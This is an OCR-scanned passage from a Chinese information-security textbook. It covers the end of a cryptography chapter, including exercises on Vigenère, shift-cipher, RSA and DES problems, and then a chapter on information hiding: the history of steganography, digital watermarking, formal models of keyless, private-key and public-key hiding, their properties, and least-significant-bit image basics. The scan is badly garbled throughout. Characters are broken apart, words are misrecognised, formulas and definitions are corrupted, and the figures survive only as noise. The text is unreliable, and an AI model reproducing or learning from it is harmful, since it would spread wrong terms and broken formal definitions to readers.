名 人 ) 的 私有 密 钥 加 密 (或 称 为 签名 ) ,接收 方 (或 验证 方 ) 收 到 签名 时 使 用 发 送 方 的 公开 密 钥 
验证 。 常 用 的 算法 有 RSA 密码 算法 Diffie Hellman 密 钥 交 换算 法 、ElGamal 加 密 算法 等 。 

(5) 加 密 可 以 用 通信 的 3 个 不 同 层次 来 实现 , 即 节点 加 密 、 链 路 加 密 和 端 到 端 加 密 。 节 
点 加 密 是 指 对 源 节点 到 目的 节点 之 间 传 输 的 数据 进行 加 密 , 不 对 报头 加 密 ; 链 路 加 密 在 数 
据 链 路 层 进行 ,是 对 相 邻 节点 之 间 的 链 路 上 所 传输 的 数据 进行 加 密 , 在 节点 处 ,传输 数据 以 
明文 形式 存在 ,侧重 于 在 通信 和 链 路 上 而 不 考虑 信 源 和 信和 宿 ; 端 到 端 加 密 是 对 源 端 用 户 到 目 
的 端 用 户 的 数据 提供 保护 ,传输 数据 在 传输 过 程 中 始终 以 密 文 形式 存在 。 


1. 简 述 密码 学 的 发 展 历程 。 
2. 简 述 对 称 密码 体制 和 非 对 称 密码 体制 各 自 的 优 缺点 。 
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6. 


3. 简 述 柯 克 霍 夫 原则 。 
4. 
5. 设 明文 为 “visit beijing tomorrow”, 密 钥 为 “enjoy”, 试 用 Vigenère 算法 对 其 加 密 。 


描述 DES 数据 加 密 算 法 的 流程 。 


在 Alice 和 Bob 的 保密 通信 中 ,传送 的 密 文 是 “rjy rj ts ymj xfggfym bj bnqq 


inxhzxxymj uqfs”, 如 果 他 们 使 用 的 是 移 位 密码 算法 , 试 解密 其 通信 内 容 。 


La 


在 一 个 使 用 RSA 的 公开 密 钥 系统 中 , 若 截获 了 发 给 一 个 其 公开 密 钥 e=5,n=35 的 


用 户 的 密 文 C==10, 则 明文 M 是 什么 ? 


8. 


简 述 EIGamal 加 密 算法 。 
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信息 隐藏 (Information Hiding) 作 为 一 门 新 兴 的 交叉 学 科 , 伴 随 着 信息 和 网 络 技术 的 飞 
速 发 展 , 在 隐蔽 通信 数字 版 权 保护 等 方面 起 着 越 来 越 重要 的 作用 。 信 息 隐藏 是 将 秘密 信息 
隐藏 在 另 一 非 机 密 的 载体 信息 中 ,通过 公共 信道 进行 传递 。 秘 密 信息 被 隐藏 后 ,攻击 者 无 法 
判断 载体 信息 中 是 否 隐藏 了 秘密 信息 ,也 无 法 从 载体 信息 中 提取 或 去 除 所 隐藏 的 秘密 信息 。 
信息 隐藏 研究 的 内 容 包括 信息 隐藏 技术 的 算法 数字 水 印 技术 、 隐 通道 技术 和 匿名 通信 技术 等 。 


4.1 信息 隐藏 技术 的 发 展 历史 


4.1.1 传统 的 信息 隐藏 技术 


古代 信息 隐藏 的 方法 可 以 分 为 两 种 : 一 种 是 将 机 密 信息 进行 各 种 变换 ,使 非 授权 者 无 
法 理解 ,这 就 是 密码 术 ; 另 一 种 是 将 机 密 信息 隐藏 起 来 ,使 非 授权 者 无 法 获取 ,如 隐 写 术 等 ， 
可 以 称 它们 为 古代 密码 术 和 古代 隐 写 术 。 我 们 可 以 把 它们 的 发 展 看 成 两 条 线 : 一 条 是 从 古 
代 密 码 术 到 现代 密码 学 ; 一 条 是 从 古代 隐 写 术 到 信息 隐藏 技术 。 

古代 隐 写 术 包 括 技术 性 的 隐 写 术 、 语 言 学 中 的 隐 写 术 和 用 于 版 权 保 护 的 隐 写 术 。 

1. 技术 性 的 隐 写 术 


技术 性 的 隐 写 术 由 来 已 入 。 大 约 在 公元 前 440 年 , 隐 写 术 就 已 经 被 应 用 了 。 据 古 希 腊 
历史 学 家 希 罗 多 德 记载 ,一 位 希腊 贵族 希 斯 泰 乌 斯 为 了 安全 地 把 机 密 信息 传送 给 米利 都 的 
阿里 斯 塔 格 鲁 斯 , 众 惠 他 起 兵 反叛 波斯 人 , 想 出 一 个 绝妙 的 主意 : 剃 光 送 信 奴 隶 的 头 , 在 头 
顶 上 写 下 密 信 ,等 他 的 头发 重新 长 出 来 ,就 将 他 派 往 米利 都 送信 。 类 似 的 方法 在 20 世纪 初 
期 仍然 被 德国 间谍 所 使 用 。 实 际 上 , 隐 写 术 自 古 以 来 就 一 直 被 人 们 广泛 地 使 用 。 隐 写 术 的 
经 典 手 法 很 多 ,下 面 仅 列举 一 些 例子 。 

(1) 使 用 不 可 见 墨 水 给 报纸 上 的 某 些 字母 作 上 标记 来 向 间谍 发 送 消息 。 

(2) 在 一 个 录音 带 的 某 些 位 置 上 加 一 些 不 易 察 觉 的 回声 。 

(3) 将 消息 写 在 木板 上 ,然后 用 石灰 水 把 它 刷 白 。 

(4) 将 信函 隐 藏 在 信使 的 鞋底 里 或 妇女 的 耳 饰 中 。 

(5) 由 信和 铀 携带 便条 传送 消息 。 

(6) 通过 改变 字母 笔画 的 高 度 或 在 掩蔽 文体 的 字母 上 面 或 下 面 挖 出 非常 小 的 小 孔 ( 或 
用 无 形 的 墨水 印 制作 非常 小 的 斑点 ) 来 隐藏 正文 。 

(7) 在 纸 上 打 印 各 种 小 像素 点 组 成 的 块 来 对 诸如 日 期 .打印 机 进行 标识 ,将 用 户 标识 符 
等 信息 进行 编码 。 

(8) 将 秘密 消息 隐藏 在 大 小 不 超过 一 个 句号 或 小 墨水 点 的 空间 里 。 

(9) 将 消息 隐藏 在 微缩 胶片 中 。 

(10) 把 在 显微镜 下 可 见 的 图 像 隐 藏 在 耳 朱 、 鼻 孔 以 及 手指 甲 里 ; 或 者 先 将 间谍 之 间 要 
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传送 的 消息 经 过 若干 照相 缩影 步骤 后 缩小 到 微粒 状 , 然 后 粘 在 无 关 紧 要 的 杂志 等 文字 材料 
中 的 句号 或 逗号 上 。 

(11) 在 印刷 旅行 支票 时 使 用 特殊 紫外 线 荧光 墨水 。 

(12) 制作 特殊 的 雕塑 或 绘画 作品 ,使 得 从 不 同 角 度 看 会 显示 出 不 同 的 印象 。 

(13) 利用 掩蔽 材料 的 预定 位 置 上 的 某 些 误差 和 风格 特性 来 隐藏 消息 。 例 如 ,利用 字 的 
标准 体 和 和 斜体 来 进行 编码 ,从 而 实现 信息 隐藏 ; 将 版 权 信息 和 序列 号 隐藏 在 行 间距 和 文档 
的 其 他 格式 特性 之 中 ; 通过 对 文档 的 各 行 提升 或 降低 1/300 英寸 来 表示 0 或 1 等 。 

2. 语言 学 中 的 隐 写 术 

语言 学 中 的 隐 写 术 也 是 被 广泛 使 用 的 一 种 方法 。 最 具 代 表 性 的 是 “ 藏 头 诗 ”, 作 者 把 表 
明 真 情 实意 的 字句 分 别 藏 人 诗句 之 中 。 如 电影 (唐伯虎 点 秋香 》 中 唐伯虎 的 藏 头 诗 一 一 我 
画 蓝 江水 悠悠 , 爱 晚 亭 上 枫叶 愁 。 秋 月 溶 溶 照 佛 寺 ,香烟 氢 鼻 绕 经 楼 .这 一 “我 爱 秋香 ”的 藏 
头 诗句 已 成 经 典 。 又 如 绍兴 才子 徐 文才 在 杭州 西湖 党 月 时 挥毫 写 下 了 一 首 七 言 绝 句 一 
“平湖 一 色 万 硕 秋 , 湖 光 渺 渺 水 长 流 。 秋 月 圆 圆 世 间 少 ,月 好 四 时 最 宜 秋 。” 每 句 的 第 一 个 字 
连 起 来 正好 是 “平湖 秋月 ”。 我 国 还 有 一 种 很 有 趣 的 信息 隐藏 方法 , 即 消息 的 发 送 者 和 接收 
者 各 有 一 张 完全 相同 的 带 有 许多 小 孔 的 掩蔽 纸张 ,而 这 些小 孔 的 位 置 是 被 随机 选择 并 戳穿 
的 。 发 送 者 将 掩蔽 纸张 放 在 一 张 纸 上 ,将 秘密 消息 写 在 小 孔 位 置 上 , 移 去 掩蔽 纸张 ,然后 根 
据 纸 张 上 留 下 的 字 和 空格 编写 一 篇 掩饰 性 的 文章 。 接 收 者 只 要 把 掩蔽 纸张 覆盖 在 该 纸张 上 
就 可 立即 读 出 秘密 消息 。 直 到 16 世纪 早期 ,意大利 数学 家 卡 登 (Cardan) 重 新 发 展 了 这 种 方 
法 ,该 方法 现在 被 称 为 卡 登 格子 隐藏 法 。 国 外 著名 的 例子 是 Giovanni Boccaccio 创作 的 
《Amorosa vlsione) ,据说 是 世界 上 最 长 的 藏 头 诗 , 他 先 创作 了 三 首 十 四 行 诗 ,总 共 包含 大 约 
1500 个 字母 ,然后 创作 另外 一 首 诗 ,使 连续 三 行 押韵 诗句 的 第 一 个 字母 恰好 对 应 十 四 行 诗 
的 各 字母 。 

3. 用 于 版 权 保护 的 隐 写 术 

版 权 保 护 与 侵权 的 斗争 从 古 到 今 一 直 在 延续 着 。Lorrain 是 17 世纪 一 个 很 有 名 的 画 
家 ,当时 出 现 了 很 多 模仿 和 假冒 他 的 画 , 他 使 用 了 一 个 特殊 的 方法 来 保护 画 的 版 权 。 他 自己 
创作 了 一 本 称 为 Liber Veritatis 的 素描 集 的 书 , 它 的 页 面 是 交替 出 现 的 ,四 页 蓝 色 后 紧 接着 
四 页 白色 ,不 断 重复 ,大 约 包含 195 幅 画 。 事 实 上 ,只 要 在 素描 和 油画 作品 之 间 进 行 一 些 比 
较 就 会 发 现 , 前 者 是 专门 设计 用 来 作为 后 者 的 “校对 校 验 图 ”, 并 且 任何 一 个 细心 的 观察 者 根 
据 这 本 书 仔细 对 照 后 就 能 判断 给 定 的 油画 是 不 是 厅 品 。 我 国 是 最 早 发 明 印 刷 术 的 国家 ,而 
且 许 多 西方 国家 也 承认 印刷 术 来 自 中 国 。 书 籍 作为 流通 的 商品 且 利润 丰厚 ,在 漫长 的 岁月 
中 不 进行 版 权 保护 是 无 法 想象 的 ,也 是 不 符合 事实 的 。 从 法 令 来 看 ,北宋 哲宗 绍 圣 年 间 ( 公 
元 1095 年 ) 已 有 “ 盗 印 法 ”, 中 国 自 宋 代 就 确 有 版 权 保护 的 法 令 。 从 实物 来 看 ,现存 宋代 书籍 
中 可 以 证 实 版 权 问题 。 如 眉山 程 伟人 宅 刊本 《 东 都 事略 》, 其 牌 记 有 ”眉山 程 伟人 宅 刊行 ,已 
申 上 司 ,不 许 覆 板 .” 这 就 相当 于 “版 权 所 有 ,不 准 翻印 "。1709 年 英国 国会 制定 的 “ 圣 安 妮 的 
法 令 ”, 承 认 作者 是 受 保护 的 主体 ,这 被 认为 是 第 一 部 “版 权 法 ”。 


4.1.2 数字 信息 隐藏 技术 的 发 展 
1992 年 ,国际 上 正式 提出 信息 隐藏 的 概念 ; 1996 年 ,在 英国 剑桥 大 学 牛顿 研究 所 召开 
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了 第 一 届 信 息 隐藏 学 术 会 议 ,标志 着 信息 隐藏 学 的 正式 诞生 。 此 后 ,国际 信息 隐藏 学 术 会 议 
在 欧美 各 国 相继 召开 。 

作为 隐秘 通信 和 知识 产权 保护 等 的 主要 手段 “信息 隐藏 学 ?被 提出 后 引起 了 各 国政 府 、 
大 学 和 研究 机 构 的 重视 ,取得 了 巨大 的 发 展 。 美 国 的 麻 省 理工 学 院 、 普 渡 大 学 ,英国 的 剑桥 
大 学 ,NEC 研究 所 ,IBM 研究 所 都 进行 了 大 量 的 研究 。 在 国内 ,许多 高 等 院 校 和 研究 机 构 也 
对 信息 隐藏 技术 进行 了 深入 的 研究 。 从 1999 年 开始 ,我 国 已 召开 了 六 届 全 国 性 的 信息 隐藏 
学 术 研 讨 会 。 国 家 863 计划 智能 计算 机 专家 组 会 同 中 国 科学 院 自 动 化 研究 所 模式 识别 国家 
重点 实验 室 和 北京 邮电 大 学 信息 安全 中 心 还 召开 了 专门 的 “数字 水 印 学 术 研 讨 会 ”。 

随 着 理论 研究 的 进行 ,相关 的 应 用 技术 和 软件 也 不 断 推出 。 如 美国 Digimarc 公司 在 
1995 年 开发 了 水 印 制 作 技 术 , 是 当时 世界 上 唯一 一 家 拥有 这 一 技术 的 公司 ,并 在 Photoshop 
4.0 和 CoreDraw 7.0 中 进行 了 应 用 。 日 本 电器 公司 日立 制 作 所 先锋 、 索 尼 和 美国 商用 机 
器 公司 在 1999 年 宣布 联合 开发 统一 标准 的 基于 数字 水 印 技术 的 DVD 影碟 防盗 版 技术 。 
DVD 影碟 在 理论 上 可 以 无 限制 地 复制 高 质量 的 画面 和 声音 ,因此 迫切 需要 有 效 的 防盗 版 技 
术 。 该 技术 的 应 用 使 消费 者 可 以 复制 高 质量 的 动态 图 像 ,但 以 赢利 为 目的 的 大 批量 非法 复 
制 则 无 法 进行 。2000 年 ,德国 在 数字 水 印 保护 和 防止 伪造 电子 照片 的 技术 方面 取得 了 突 
破 。 以 制作 个 人 身份 证 为 例 , 一 般 要 经 过 扫描 照片 和 签名 、 输 入 制 证 机 、 打 印 和 塑封 等 过 程 。 
上 述 新 技术 是 在 打印 证 件 前 ,在 照片 上 附加 一 个 暗藏 的 数字 水 印 。 具 体 做 法 是 在 照片 上 对 
某 些 不 为 人 注意 的 部 分 进行 改动 ,处 理 后 的 照片 用 肉眼 看 与 原来 几乎 一 样 ,只 有 用 专用 的 扫 
描 器 才能 发 现 水 印 , 从 而 可 以 迅速 .无误 地 确定 证 件 的 真 伪 。 该 系统 既 可 在 照片 上 加 上 牢固 
的 水 印 ,也 可 以 经 改动 使 水 印 消失 ,使 任何 伪造 企图 都 无 法 得 人 种 。 由 欧盟 委员 会 资助 的 几 个 
国际 研究 项 目 也 正 致力 于 实用 的 水 印 技术 研究 ,欧盟 期 望 能 使 其 成 员 国 在 数字 作品 电子 交 
易 方 面 达成 协议 ,其 中 的 数字 水 印 系 统 可 以 提供 对 复制 品 的 探测 追踪 。 在 数字 作品 转让 之 
前 ,作品 创作 者 可 以 嵌入 创作 标志 水 印 ; 作品 转让 后 ,媒体 发 行者 对 存储 在 服务 器 中 的 作品 
加 入 发 行者 标志 ; 在 出 售 作品 复制 时 ,还 要 加 入 销售 标志 。 

经 过 多 年 的 努力 ,信息 隐藏 技术 的 研究 已 经 取得 了 许多 成 果 。 从 技术 上 来 看 ,隐藏 有 机 
密 信息 的 载体 不 但 能 经 受 人 的 感觉 检测 和 仪器 设备 的 检测 ,而 且 还 能 抵抗 各 种 人 为 的 蓄意 
攻击 。 但 总 的 来 说 ,信息 隐藏 技术 尚未 发 展 到 可 大 规模 使 用 的 阶段 , 仍 有 不 少 理论 和 技术 性 
的 问题 需要 解决 。 到 目前 为 止 ,信息 隐藏 技术 还 没有 形成 自身 的 理论 体系 。 例 如 ,如 何 计算 
一 个 数字 媒体 或 文件 所 能 隐藏 的 最 大 安全 信息 量 等 。 尽 管 信息 隐藏 技术 在 理论 研究 、 技 术 
开发 和 实用 性 方面 尚 不 成 熟 ,但 它 的 特殊 作用 ,特别 是 在 数字 版 权 保 护 方面 的 独特 作用 ,可 
以 说 是 任何 其 他 技术 无 法 取代 的 ,因此 信息 隐藏 技术 必 将 在 未 来 的 信息 安全 体系 中 独 树 
一 帜 。 


4.2 信息 隐藏 技术 的 概念 、 分 类 及 特性 


4.2.1 信息 隐藏 技术 的 概念 


1992 年 ,提出 了 一 种 新 的 关于 信息 安全 的 概念 一 一 信息 隐藏 ,即将 关键 信息 秘密 地 隐 
藏 于 一 般 的 载体 中 (图 像 声音、 视频 或 一 般 的 文档 ) ,或 发 行 或 通过 网 络 传递 ,达到 秘密 消息 
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保护 的 目的 。 由 于 非法 拦截 者 从 网 络 上 拦截 的 伪装 后 的 关键 信息 ,并 不 像 传统 加 密 过 的 文 
件 一 样 ,看 起 来 是 一 堆 会 激发 非法 拦截 者 破解 关键 信息 动机 的 乱码 ,而 是 看 起 来 和 其 他 非 关 
键 性 的 信息 无 异 的 明文 信息 ,因而 十 分 容易 逃 过 非法 拦截 者 的 破解 。 

信息 隐藏 不 同 于 传统 的 加 密 , 其 目的 不 在 于 限制 正常 的 资料 存 取 , 而 在 于 保证 隐藏 数据 
不 被 侵犯 和 重视 。 隐 藏 的 数据 量 与 隐藏 的 免疫 力 始终 是 一 对 矛盾 ,目前 还 不 存在 一 种 完全 
满足 这 两 种 要 求 的 隐藏 方法 。 信 息 隐 藏 技术 和 传统 的 密码 技术 的 区 别 在 于 : 密码 仅仅 隐藏 
了 信息 的 内 容 , 而 信息 隐藏 不 但 隐藏 了 信息 的 内 容 而 且 隐 藏 了 信息 的 存在 。 信 息 隐 藏 技术 
提供 了 一 种 有 别 于 加 密 的 安全 模式 ,如 图 4-1 所 示 。 


11000101 #IS%MBRHA 
10100101 | Fra] |@&*$&art 
00100101 = @**&#%S% 
11100100 &SKH**SH 

明文 密 文 
(a) 加 密 
载体 
伪装 载体 

11000101 

10100101 

00100101 

11100100 

peye 


1 HISAHS&H^ 
1 a @&*$K&** 
1 上 下 加 密 j annetas% 
0 &SRH**SH 
明文 密 文 
(c) 隐 密 


图 4-1 信息 隐藏 与 加 密 的 区 别 示意 图 


信息 隐藏 是 集 多 门 学 科 理论 技术 于 一 身 的 新 兴 技 术 领 域 , 它 利用 人 类 感觉 器 官 对 数字 
信号 的 感觉 元 余 ,将 一 个 消息 隐藏 在 另 一 个 消息 中 。 由 于 隐藏 后 外 部 表现 的 只 是 遮掩 消息 
的 外 部 特征 , 故 并 不 改变 遮掩 消息 的 基本 特征 和 使 用 价值 。 

数字 信息 隐藏 技术 已 成 为 信息 科学 领域 研究 的 一 个 热点 。 被 隐藏 的 秘密 信息 可 以 是 文 
字 、 密 码 .图 像 . 图 形 或 声音 ,而 作为 宿主 的 公开 信息 可 以 是 一 般 的 文本 文件 ,数字 图 像 ,数字 
视频 和 数字 音频 等 。 
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通常 把 被 隐藏 的 信息 称 为 秘密 信息 (Secret Message) ,如 版 权 信 息 、 秘 密 数据 、 软 件 序 
列 号 等 。 而 公开 信息 则 称 为 载体 信息 (Cover Message) ,如 视频 、 图 片 、 音 频 等 。 这 种 信息 隐 
藏 过 程 一 般 由 密 钥 (Key) 来 控制 ,通过 信息 嵌入 算法 (Embedding Algorithm) 将 秘密 信息 隐 
藏 于 公开 信息 中 , 而 隐 密 载体 (隐藏 有 秘密 信息 的 公开 信息 ) 则 通过 通信 信道 
(Communication Channel) 传 递 ,然后 对 方 的 检测 器 (Detector) 利 用 密 钥 从 隐蔽 载体 中 恢复 
或 检测 出 秘密 信息 。 信 息 隐 藏 的 一 般 模型 如 图 4-2 所 示 。 
密 角 密 钥 


图 4-2 信息 隐藏 的 一 般 模型 


信息 隐藏 技术 主要 由 下 述 两 部 分 组 成 。 

(1) 信息 嵌入 算法 (编码 器 ) , 它 利用 密 钥 来 实现 秘密 信息 的 隐藏 。 

(2) 信息 提取 算法 (检测 器 ) , 它 利用 密 钥 从 隐 密 载体 中 检测 并 恢复 出 秘密 信息 。 在 密 
钥 未 知 的 前 提 下 ,第 三 者 很 难 从 隐 密 载体 中 得 到 或 删除 ,甚至 发 现 秘密 信息 。 


4.2.2 信息 隐藏 技术 的 分 类 


信息 隐藏 是 一 门 新 兴 的 交叉 学 科 ,包含 的 内 容 十 分 广泛 ,在 计算 机 、 通 信 、 保 密 学 等 领域 
有 着 广阔 的 应 用 背景 。1999 年 ,Fabien 对 信息 隐藏 做 了 分 类 ,如 图 4-3 所 示 。 


秘密 信息 隐 密 载体 


通信 信道 


rs 秘密 信息 


信息 隐藏 
am 隐 写 术 | 匿名 通信 版 权 标识 
语言 学 中 的 隐 写 术 技术 性 的 隐 写 术 稳健 的 版 权 标识 | | 脆弱 的 版 权 标识 
se 
数字 水 印 数字 指纹 
可 见 数字 水 印 不 可 见 数字 水 印 


图 4-3 信息 隐藏 的 分 类 


按照 Fabien 的 分 类 ,信息 隐藏 被 分 为 四 大 分 支 。 在 这 些 分 支 中 , 隐 写 术 和 版 权 标 识 是 


目前 研究 比较 广泛 和 热门 的 课题 。 
根据 密 钥 的 不 同 ,信息 隐藏 可 以 分 为 三 类 : 无 密 钥 的 信息 隐藏 . 私 钥 信 息 隐藏 和 公 钥 信 


息 隐 藏 。 
1. 无 密 钥 的 信息 隐藏 
无 密 钥 信息 嵌入 的 过 程 为 : 
wet E:C x M—>C* 


第 4 章 信息 隐藏 技术 91 


其 中 ,C 为 所 有 可 能 载体 的 集合 ; M 为 所 有 可 能 秘密 消息 的 集合 ; Ci 为 所 有 伪装 对 象 的 
集合 。 

提取 过 程 为 : 

映射 D:C* > M 

双方 约定 嵌入 算法 E 和 提取 算法 了 ,算法 要 求 保 密 。 

定义 4-1 对 一 个 五 元 组 

>) = {C.M.C*,D,.E} 

其 中 ,C 是 所 有 可 能 载体 的 集合 ; M 是 所 有 可 能 秘密 消息 的 集合 ; C 是 所 有 可 能 伪装 对 象 
的 集合 ; 已 是 嵌入 函数 ; D 是 提取 函数 。 

若 满足 性 质 : 对 所 有 mEM 和 cEC, 恒 有 D(E(c,m)) 二 m, 则 称 该 五 元 组 为 无 密 钥 信 
息 隐 藏 系统 。 不 同 的 嵌入 算法 对 载体 的 影响 不 同 。 选 择 最 合适 的 载体 ,使 得 信息 嵌入 后 影 
响 最 小 , 即 载体 对 象 与 伪装 对 象 的 相似 度 最 大 。 

对 于 无 密 钥 的 信息 隐藏 ,系统 的 安全 性 完全 依赖 于 隐藏 算法 和 提取 算法 的 保密 性 ,如 果 
算法 被 泄露 出 去 , 则 信息 隐藏 无 任何 安全 可 言 。 

2. 私 钥 信 息 隐 茂 

定义 4-2 ”对 一 个 六 元 组 

SD = {C,M,K,C',D,E} 


其 中 ,C 是 所 有 可 能 载体 的 集合 ; M 是 所 有 可 能 秘密 消息 的 集合 ; K 是 所 有 可 能 密 钥 的 集 
4:C 是 所 有 可 能 伪装 对 象 的 集合 ; 已 是 嵌入 函数 ,CXMX 开 =C; D RRMA 
数 ,C* XK 一 M。 

车 满足 性 质 ; 对 所 有 mEM,cEC 和 kEK, 恒 有 Dg (Ex (coms hk) kh) =m WIAA TE 
组 为 私 钥 信 息 隐藏 系统 。 

私 钥 信 息 隐藏 系统 需要 密 钥 的 交换 。 假 定 通信 双方 都 能 够 通过 一 个 安全 的 信道 来 协商 
密 钥 ,并 且 有 各 种 密 钥 交换 协议 ,以 保证 通信 双方 拥有 一 个 相同 的 伪装 密 钥 ko 

3. 公 钥 信息 隐藏 

公 钥 信息 隐藏 类 似 于 公 钥 密码 。 通 信 各 方 使 用 约定 的 公 钥 体制 ,各 自 产 生 自 己 的 公开 
密 钥 和 私有 密 钥 ,将 公开 密 钥 存储 在 一 个 公开 的 数据 库 中 ,通信 各 方 可 以 随时 取 用 ,私有 密 
钥 由 通信 各 方 自己 保存 ,不 予 公 开 。 

公开 密 钥 用 于 信息 的 嵌入 过 程 ,私有 密 钥 用 于 信息 的 提取 过 程 。 一 个 公 钥 信息 隐藏 系 
统 的 安全 性 完全 取决 于 所 选用 的 公 钥 密码 体制 的 安全 性 。 


4.2.3 信息 隐藏 技术 的 特性 


与 传统 的 加 密 方式 不 同 的 是 信息 隐藏 的 目的 在 于 保证 隐藏 数据 不 被 未 授权 的 第 三 方 控 
知 和 侵犯 ,保证 隐藏 的 信息 在 经 历 各 种 环境 变故 和 操作 之 后 不 受 破坏 。 因 此 ,信息 隐藏 技术 
必须 考虑 正常 的 信息 操作 造成 的 威胁 ,使 秘密 信息 对 正常 的 数据 操作 ,如 通常 的 信号 变换 或 
数据 压缩 等 操作 具有 免疫 能 力 。 根 据 信息 隐藏 的 目的 和 技术 要 求 , 它 存在 以 下 5 个 特性 。 

(1) 安全 性 (Security) 。 衡 量 一 个 信息 隐藏 系统 的 安全 性 ,要 从 系统 自身 算法 的 安全 性 
和 可 能 受到 的 攻击 两 方面 来 进行 分 析 。 攻 破 一 个 信息 隐藏 系统 可 分 为 3 个 层次 : 证 明 隐 茂 
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信息 的 存在 、 提 取 隐 藏 信息 和 破坏 隐藏 信息 。 如 果 一 个 攻击 者 能 够 证 明 一 个 隐藏 信息 的 存 
在 ,那么 这 个 系统 就 已 经 不 安全 了 。 安 全 性 是 指 信息 隐藏 算法 有 较 强 的 抗 攻击 能 力 , 它 能 够 
承受 一 定 的 人 为 的 攻击 而 使 隐藏 信息 不 会 被 破坏 。 

(2) 鲁 棒 性 (Robustness) 。 除 了 主动 攻击 者 对 伪装 对 象 的 破坏 以 外 ,伪装 对 象 在 传递 
过 程 中 也 可 能 受到 非 恶意 的 修改 ,如 图 像 传输 时 ,为 了 适应 信息 的 带宽 ,需要 对 图 像 进行 压 
缩编 码 ,还 可 能 会 对 图 像 进行 平滑 、 滤 波 和 变换 处 理 ,声音 的 滤波 ,多 媒体 信号 的 格式 转换 
等 。 这 些 正 常 的 处 理 , 都 有 可 能 导致 隐藏 信息 的 丢失 。 信 息 隐 藏 系统 的 鲁 棒 性 是 指 抗拒 因 
伪装 对 象 的 某 种 改动 而 导致 隐藏 信息 丢失 的 能 力 。 所 谓 改 动 , 包 括 传输 过 程 中 的 信道 噪声 、 
滤波 操作 , 重 采样 有 损 编 码 压缩 ,D/A R A/D 转换 等 。 

(3) 不 可 检测 性 (Undetectability) 。 不 可 检测 性 是 指 隐 蔽 载体 与 原始 载体 具有 一 致 的 
特性 ,如 具有 一 致 的 统计 噪声 分 布 , 以 便 使 非法 拦截 者 无 法 判断 是 否 藏 有 隐 密 信息 。 

(4) 透明 性 (Invisibility)。 透 明 性 是 指 利 用 人 类 视觉 系统 或 听觉 系统 属性 ,经 过 一 系列 
隐藏 处 理 , 目 标 数据 必须 没有 明显 的 降 质 现象 ,而 隐藏 的 数据 无 法 被 看 见 或 听见 。 

(5) 自 恢 复 性 (Self-recovery)。 经 过 一 些 操 作 或 变换 后 ,可 能 使 原 图 产生 较 大 的 破坏 ， 
如 果 只 从 留 下 的 片段 数据 , 仍 能 恢复 隐藏 信号 ,而 且 恢复 过 程 不 需要 宿主 信号 ,这 就 是 所 谓 
的 自 恢 复 性 。 


4.3 ”信息 隐藏 技术 的 算法 


根据 载体 的 不 同 , 信 息 隐 藏 可 以 分 为 图 像 、 视 频 、 音 频 、 文 本 和 其 他 各 类 数据 的 信息 隐 
藏 。 在 不 同 的 载体 中 ,信息 隐藏 的 方法 有 所 不 同 , 需 要 根据 载体 的 特征 ,选择 合适 的 隐藏 算 
法 。 例 如 ,图 像 、 视 频 和 音频 中 的 信息 隐藏 ,利用 了 人 的 感官 对 于 这 些 载体 的 元 余 度 来 隐藏 
信息 ; 而 文本 或 其 他 各 类 数据 ,需要 从 另外 一 些 角度 来 设计 隐藏 方案 。 因 此 ,一 种 很 自然 的 
想法 是 用 秘密 信息 替代 伪装 载体 中 的 宛 余部 分 ,替换 技术 是 最 直观 的 一 种 隐藏 算法 ,也 称 为 
空间 域 算法 。 除 此 之 外 ,对 图 像 进行 变换 也 是 信息 隐藏 常用 的 一 种 手段 , 称 为 变换 域 算法 。 
下 面 通 过 例子 来 说 明 图 像 中 可 以 用 来 隐藏 信息 的 地 方 。 

1, 图 像 的 基本 表示 

一 幅 图 像 是 由 很 多 个 像素 (Pixel) 点 组 成 的 ,像素 是 构成 图 像 的 基本 元 素 。 例 如 ,一 幅 
图 像 的 大 小 是 640X480, 则 说 明 这 个 图 像 在 水 平方 向 上 有 640 个 像素 点 ,在 垂直 方向 上 有 
480 个 像素 点 。 图 像 可 分 为 灰 度 图 像 和 彩色 图 像 。 数 字 图 像 一 般 用 矩阵 来 表示 ,图 像 的 空 
间 坐 标 XY 被 量化 为 m Xn 个 像素 点 ,如 果 每 个 像素 点 仅 由 灰 度 值 表 示 , 则 这 种 图 像 称 为 
灰 度 图 像 ; 如 果 每 个 像素 点 由 红 、 绿 、 蓝 三 基色 组 成 , 则 这 种 图 像 称 为 彩色 图 像 。 在 彩色 图 
像 中 ,任何 颜色 都 可 以 由 这 3 种 基本 颜色 以 不 同 的 比例 调和 而 成 。 灰 度 图 像 的 灰 度 值 构成 
灰 度 图 像 的 矩阵 表示 ; 彩色 图 像 可 以 用 类 似 于 灰 度 图 像 的 矩阵 表示 ,只 是 在 彩色 图 像 中 ,由 
3 个 矩阵 组 成 ,每 一 个 矩阵 代表 三 基色 之 一 。 

对 于 一 幅 灰 度 图 像 来 说 ,如 果 每 个 像素 点 的 灰 度 值 仅 取 0 或 1, 则 这 种 图 像 称 为 二 值 图 
像 ; 如 果 灰 度 值 的 取 值 范围 为 0 一 255 ,每 个 像素 点 可 用 8 位 来 表示 , 则 记 为 (ay sass ,ao)， 
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其 中 w 一 0 或 1(i 一 0,1,…,7)。 对 于 每 个 像素 点 来 说 ,都 取 其 中 的 某 一 位 就 构成 了 一 幅 二 
值 图 像 。 例 如 ,所 有 像素 点 都 取 cao 位 , 则 这 种 图 像 称 为 该 图 像 的 第 0 位 位 平面 ( 即 是 最 低位 
位 平面 ) 图 像 ,以 此 类 推 ,共有 8 个 位 平面 图 像 。 各 个 位 平面 图 像 的 效果 如 图 4-4 所 示 。 图 
中 第 1 张 是 8 位 灰 度 图 像 ,后 面 依次 是 从 高 位 到 低位 的 位 平面 图 像 。 从 这 几 个 位 平面 图 像 
中 可 以 看 出 , 较 高 位 的 位 平面 图 像 反映 了 原始 图 像 的 轮廓 信息 ,而 较 低位 的 位 平面 图 像 看 上 
去 几乎 与 原始 图 像 无 关 。 如 果 我 们 将 原始 图 像 的 每 个 像素 点 的 最 低位 一 律 变 成 0, 则 图 像 
效果 如 图 4-5 所 示 。 显 而 易 见 ,这 两 幅 图 像 的 差别 是 非常 小 的 ,人 了 眼 视觉 很 难 感知 。 


be kid 


(b) 位 平面 7 (c) 位 平面 6 


ET 人 大 
dd 


Na 
平面 4 


(g) 位 平面 2 (h) 位 平面 1 (i) 位 平面 0 


图 4-4 8 位 灰 度 图 像 的 8 个 位 平面 


(a) 原始 图 像 (b) 最 低位 为 0 
图 4-5 原始 图 像 与 最 低位 为 0 的 图 像 
上 述 两 个 例子 说 明 , 如 果 将 像素 点 最 低位 蔡 换 成 秘密 信息 ,人 了 眼 是 难以 察觉 的 ,从 而 可 
以 达到 信息 隐藏 的 目的 。 
2. 空间 域 算 法 
